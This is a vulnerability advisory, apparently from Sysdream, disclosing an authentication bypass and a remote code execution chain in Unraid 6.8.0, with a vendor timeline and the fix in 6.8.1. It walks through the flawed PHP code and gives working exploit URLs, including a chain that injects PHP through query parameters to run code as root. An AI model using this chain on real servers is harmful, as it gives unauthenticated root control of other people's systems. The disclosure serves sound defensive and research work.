Description

Unraid is an operating system for personal and small business use that brings enterprise-class features letting you configure your computer systems to maximize performance and capacity using any combination of applications, VMs, storage devices, and hardware.

Threat

  • Unauthenticated Remote Code Execution (RCE) as root user.

  • Unrestricted access to the entire filesystem, including encrypted disks.

Vulnerability records

CVE ID: CVE-2020-5847 (RCE), CVE-2020-5849 (Authentication Bypass)

Access Vector: network

Security Risk: critical

Vulnerability: CWE-288,CWE-621,CWE-94

CVSS Base Score: 10.0

CVSS Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Details

Authentication bypass (CWE-288)

In order to check if a web page requires authentication, unraid uses a auth_request.php file that contains a whitelist.

The file is called by the nginx webserver using the auth_request directive.

If the auth_request.php page return a 200 HTTP code, it means that the user has access to the resource.

The whitelist is implemented as the following:

$arrWhitelist = [
  '/webGui/styles/clear-sans-bold-italic.eot',
  [...]
  '/webGui/images/green-on.png'
];
foreach ($arrWhitelist as $strWhitelist) {
  if (strpos($_SERVER['REQUEST_URI'], $strWhitelist) === 0) {
    http_response_code(200);
    exit;
  }
}

The strpos function is used to find the first occurrence in a string. It returns 0, only if the substring is a position 0.

However, this function should NOT be used to compare strings. Indeed, if our string contains extra characters, the function will still return 0 as we can see in this example:

php > var_dump(strpos('/webGui/images/green-on.png', '/webGui/images/green-on.png'));
int(0)
php > var_dump(strpos('/webGui/images/green-on.png/EXTRASTRING', '/webGui/images/green-on.png'));
int(0)

In order to bypass authentication, we just need to add an extra character at the end of the requested URI:

http://unraid.lab/webGui/images/green-on.png/

As the nginx configuration file contains the following:

location / {
    try_files $uri /webGui/template.php$is_args$args;
}

The /webGui/template.php file is now called, and displays the menu and other sensitive information like the CSRF token that is hardcoded in configuration files.

We can browse most of the pages by simply preprending the requested URI, for exemple:

http://unraid.lab/webGui/images/green-on.png/Settings
http://unraid.lab/webGui/images/green-on.png/Users
http://unraid.lab/webGui/images/green-on.png/Settings
http://unraid.lab/webGui/images/green-on.png/Tools/Syslog

Authentication bypass to arbitrary code execution (CWE-493 / CWE-94)

Now that we can access the /webGui/template.php file without authentication, we can look for other vulnerabilities.

By looking at the source code, something caught our intention:

// Extract the 'querystring'
extract($_GET);

// Need the following to make php-fpm & nginx work
if (empty($path))
  $path = substr(explode('?', $_SERVER['REQUEST_URI'])[0], 1);

// The current "task" is the first element of the path
$task = strtok($path, '/');

// Here's the page we're rendering
$myPage = $site[basename($path)];
$pageroot = $docroot.'/'.dirname($myPage['file']);
$update = true; // set for legacy

// Giddyup
require_once "$docroot/webGui/include/DefaultPageLayout.php";
?>

The extract function is used with the $_GET user-supplied array.

extract is like register-globals, but worst. Every key of the array passed as the parameter will be declared as PHP variables. By default, the EXTR_OVERWRITE flag is used, meaning that already declared variables will be overwritten.

We can now control all variables declared before extract.

The first variable we tried to overwrite is docroot as it could allow us to include arbitrary files.

However, this variable is prepended with /webGui/include/DefaultPageLayout.php, and the default PHP configuration disallow remote inclusions.

By looking at the DefaultPageLayout.php file content, we found several uses of eval:

  empty($page['Markdown']) || $page['Markdown']=='true' ? eval('?>'.Markdown($page['text'])) : eval('?>'.$page['text']);

The $page variable is used in a foreach loop of the same file:

$view = $myPage['name'];
$pages = [];
if ($myPage['text']) $pages[$view] = $myPage;
[...]
foreach ($pages as $page) {

As we can see, the $page variable comes from the $pages loop that uses values from the $myPage array.

The $myPage array is declared in the webGui/template.php file:

$myPage = $site[basename($path)];

Because the extract function is used, $site and $path can be controlled by the user.

We finally came up with the following chain, that uses the authentication bypass, the arbitrary variable overwriting and the remote code execution:

http://unraid.lab/webGui/images/green-on.png/?path=x&site[x][text]=%3C?php%20phpinfo();%20?%3E

As the server is running as root, we now have unrestricted access to the appliance.

Affected versions

  • CVE-2020-5849 - Authentication Bypass: 6.8.0
  • CVE-2020-5847 - Remote Code Execution: <= 6.8.0

Solution

  • Upgrade to Unraid 6.8.1 or later

Timeline (dd/mm/yyyy)

  • 04/01/2020: Initial discovery
  • 04/01/2020: Message sent to vendor (Lime-Technology) using contact form
  • 05/01/2020: Vendor sent email contact information
  • 06/01/2020: Sysdream sent responsible disclosure agreement
  • 06/01/2020: CVE-2020-5847 and CVE-2020-5849 assigned by MITRE
  • 07/01/2020: Lime-Technology accept the responsible disclosure agreement
  • 07/01/2020: Vulnerability report sent to Lime-Technology
  • 09/01/2020: Sysdream requests for an update
  • 09/01/2020: Lime-Technology answer that the vulnerabilities are fixed and a new release will be published soon
  • 11/01/2020: Unraid version 6.8.1 released
  • 14/01/2020: Sysdream informs Lime-Technology about public disclosure
  • 10/02/2020: Public disclosure

Credits

  • Nicolas Chatelain, Sysdream (n.chatelain -at- sysdream.com)